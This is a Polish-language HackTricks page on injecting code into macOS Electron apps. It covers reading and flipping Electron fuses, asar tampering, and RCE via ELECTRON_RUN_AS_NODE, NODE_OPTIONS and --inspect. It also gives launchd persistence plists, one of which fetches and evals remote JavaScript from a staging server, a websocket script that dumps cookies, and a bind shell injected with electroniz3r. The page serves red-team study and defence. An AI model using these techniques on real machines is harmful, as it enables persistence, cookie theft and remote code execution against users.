17 KiB
Wstrzykiwanie aplikacji Electron w macOS
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Jeśli nie wiesz, czym jest Electron, możesz znaleźć wiele informacji tutaj. Ale na razie wystarczy wiedzieć, że Electron uruchamia node.
A node ma pewne parametry i zmienne środowiskowe, które można wykorzystać do wykonania innego kodu niż wskazany plik.
Bezpieczniki Electrona
Poniższe techniki zostaną omówione później, ale w ostatnim czasie Electron dodał kilka flag bezpieczeństwa, aby im zapobiec. Są to Bezpieczniki Electrona, a te są używane do zapobiegania aplikacjom Electrona w macOS przed ładowaniem dowolnego kodu:
RunAsNode
: Jeśli jest wyłączony, zapobiega użyciu zmiennej środowiskowejELECTRON_RUN_AS_NODE
do wstrzykiwania kodu.EnableNodeCliInspectArguments
: Jeśli jest wyłączony, parametry takie jak--inspect
,--inspect-brk
nie będą respektowane. Unikając w ten sposób wstrzykiwania kodu.EnableEmbeddedAsarIntegrityValidation
: Jeśli jest włączony, załadowany plikasar
będzie zweryfikowany przez macOS. Zapobiegając w ten sposób wstrzykiwaniu kodu poprzez modyfikację zawartości tego pliku.OnlyLoadAppFromAsar
: Jeśli jest to włączone, zamiast szukać do załadowania w następującej kolejności:app.asar
,app
i ostateczniedefault_app.asar
. Sprawdzi i użyje tylko app.asar, co zapewnia, że gdy jest połączony z bezpiecznikiemembeddedAsarIntegrityValidation
, jest niemożliwe do załadowania niezweryfikowanego kodu.LoadBrowserProcessSpecificV8Snapshot
: Jeśli jest włączony, proces przeglądarki używa pliku o nazwiebrowser_v8_context_snapshot.bin
dla swojego migawkowego V8.
Innym interesującym bezpiecznikiem, który nie zapobiega wstrzykiwaniu kodu, jest:
- EnableCookieEncryption: Jeśli jest włączony, przechowywane na dysku dane cookie są szyfrowane za pomocą kluczy kryptograficznych na poziomie systemu operacyjnego.
Sprawdzanie bezpieczników Electrona
Możesz sprawdzić te flagi z aplikacji za pomocą:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Modyfikowanie bezpieczników Electron
Jak wspominają dokumenty, konfiguracja bezpieczników Electron jest ustawiona wewnątrz binariów Electron, które zawierają gdzieś ciąg znaków dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
.
W aplikacjach macOS znajduje się to zazwyczaj w application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
Możesz załadować ten plik w https://hexed.it/ i wyszukać poprzedni ciąg znaków. Po tym ciągu znaków można zobaczyć w ASCII liczbę "0" lub "1", wskazującą, czy każdy bezpiecznik jest wyłączony czy włączony. Po prostu zmodyfikuj kod szesnastkowy (0x30
to 0
, a 0x31
to 1
) aby zmienić wartości bezpieczników.
Należy zauważyć, że jeśli spróbujesz nadpisać binarny plik Electron Framework
wewnątrz aplikacji z tymi zmodyfikowanymi bajtami, aplikacja nie będzie działać.
RCE dodawanie kodu do Aplikacji Electron
Może istnieć zewnętrzne pliki JS/HTML, których używa Aplikacja Electron, więc atakujący może wstrzyknąć kod w te pliki, których sygnatura nie będzie sprawdzana i wykonać dowolny kod w kontekście aplikacji.
{% hint style="danger" %} Jednakże, w chwili obecnej istnieją 2 ograniczenia:
- Wymagane jest uprawnienie
kTCCServiceSystemPolicyAppBundles
do modyfikacji Aplikacji, więc domyślnie to nie jest już możliwe. - Skompilowany plik
asap
zazwyczaj ma bezpiecznikiembeddedAsarIntegrityValidation
i
onlyLoadAppFromAsar
włączone
Co sprawia, że ścieżka tego ataku jest bardziej skomplikowana (lub niemożliwa). {% endhint %}
Należy zauważyć, że możliwe jest obejście wymagania kTCCServiceSystemPolicyAppBundles
poprzez skopiowanie aplikacji do innego katalogu (np. /tmp
), zmianę nazwy folderu app.app/Contents
na app.app/NotCon
, modyfikację pliku asar swoim złośliwym kodem, zmianę nazwy z powrotem na app.app/Contents
i uruchomienie go.
Możesz rozpakować kod z pliku asar za pomocą:
npx asar extract app.asar app-decomp
I spakuj to z powrotem po dokonaniu modyfikacji za pomocą:
npx asar pack app-decomp app-new.asar
RCE z ELECTRON_RUN_AS_NODE
Zgodnie z dokumentacją, jeśli zmienna środowiskowa jest ustawiona, proces zostanie uruchomiony jako zwykły proces Node.js.
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
Jeśli flaga RunAsNode
jest wyłączona, zmienna środowiskowa ELECTRON_RUN_AS_NODE
zostanie zignorowana i to nie zadziała.
{% endhint %}
Wstrzykiwanie z pliku App Plist
Zgodnie z propozycją tutaj, można nadużyć tej zmiennej środowiskowej w pliku plist w celu utrzymania trwałości:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE z NODE_OPTIONS
Możesz przechowywać ładunek w innym pliku i go wykonać:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
{% endcode %}
{% hint style="danger" %}
Jeśli bezpiecznik EnableNodeOptionsEnvironmentVariable
jest wyłączony, aplikacja zignoruje zmienną środowiskową NODE_OPTIONS podczas uruchamiania, chyba że zmienna środowiskowa ELECTRON_RUN_AS_NODE
jest ustawiona, co również będzie ignorowane, jeśli bezpiecznik RunAsNode
jest wyłączony.
Jeśli nie ustawisz ELECTRON_RUN_AS_NODE
, otrzymasz błąd: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
{% endhint %}
Wstrzykiwanie z pliku Plist aplikacji
Możesz nadużyć tej zmiennej środowiskowej w pliku plist, aby utrzymać trwałość, dodając te klucze:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE z inspekcją
Zgodnie z tym, jeśli uruchomisz aplikację Electron z flagami takimi jak --inspect
, --inspect-brk
i --remote-debugging-port
, port debugowania będzie otwarty, dzięki czemu możesz się do niego podłączyć (na przykład z Chrome w chrome://inspect
) i będziesz mógł wstrzykiwać w nim kod lub nawet uruchamiać nowe procesy.
Na przykład:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
Jeśli bezpiecznik EnableNodeCliInspectArguments
jest wyłączony, aplikacja zignoruje parametry node (takie jak --inspect
) podczas uruchamiania, chyba że zmienna środowiskowa ELECTRON_RUN_AS_NODE
jest ustawiona, co również będzie ignorowane, jeśli bezpiecznik RunAsNode
jest wyłączony.
Jednakże nadal można użyć parametru electron --remote-debugging-port=9229
, ale poprzedni ładunek nie zadziała do uruchamiania innych procesów.
{% endhint %}
Korzystając z parametru --remote-debugging-port=9222
można ukraść pewne informacje z aplikacji Electron, takie jak historia (z poleceniami GET) lub ciasteczka przeglądarki (ponieważ są odszyfrowywane wewnątrz przeglądarki i istnieje punkt końcowy json, który je udostępni).
Możesz dowiedzieć się, jak to zrobić tutaj tutaj i tutaj oraz użyć automatycznego narzędzia WhiteChocolateMacademiaNut lub prostego skryptu jak:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
W tym wpisie na blogu, to debugowanie jest wykorzystywane do spowodowania, że headless chrome pobiera dowolne pliki w dowolne lokalizacje.
Wstrzykiwanie z pliku App Plist
Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby zachować trwałość, dodając te klucze:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
Ominięcie TCC wykorzystujące starsze wersje
{% hint style="success" %} Demon TCC z macOS nie sprawdza wykonanej wersji aplikacji. Jeśli więc nie możesz wstrzyknąć kodu do aplikacji Electron żadną z poprzednich technik, możesz pobrać poprzednią wersję aplikacji i wstrzyknąć w nią kod, ponieważ nadal uzyska uprawnienia TCC (chyba że zapobiega temu pamięć podręczna zaufania). {% endhint %}
Uruchamianie kodu nie-JS
Poprzednie techniki pozwolą Ci uruchomić kod JS w procesie aplikacji elektronowej. Jednak pamiętaj, że procesy potomne działają w ramach tego samego profilu piaskownicy co aplikacja nadrzędna i dziedziczą swoje uprawnienia TCC.
Dlatego jeśli chcesz nadużyć uprawnień, aby na przykład uzyskać dostęp do kamery lub mikrofonu, po prostu uruchom inny plik binarny z procesu.
Automatyczne wstrzykiwanie
Narzędzie electroniz3r można łatwo użyć do znalezienia podatnych aplikacji elektronowych zainstalowanych i wstrzyknięcia w nich kodu. To narzędzie spróbuje użyć techniki --inspect
:
Musisz go skompilować samodzielnie i możesz go użyć w ten sposób:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Odnośniki
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.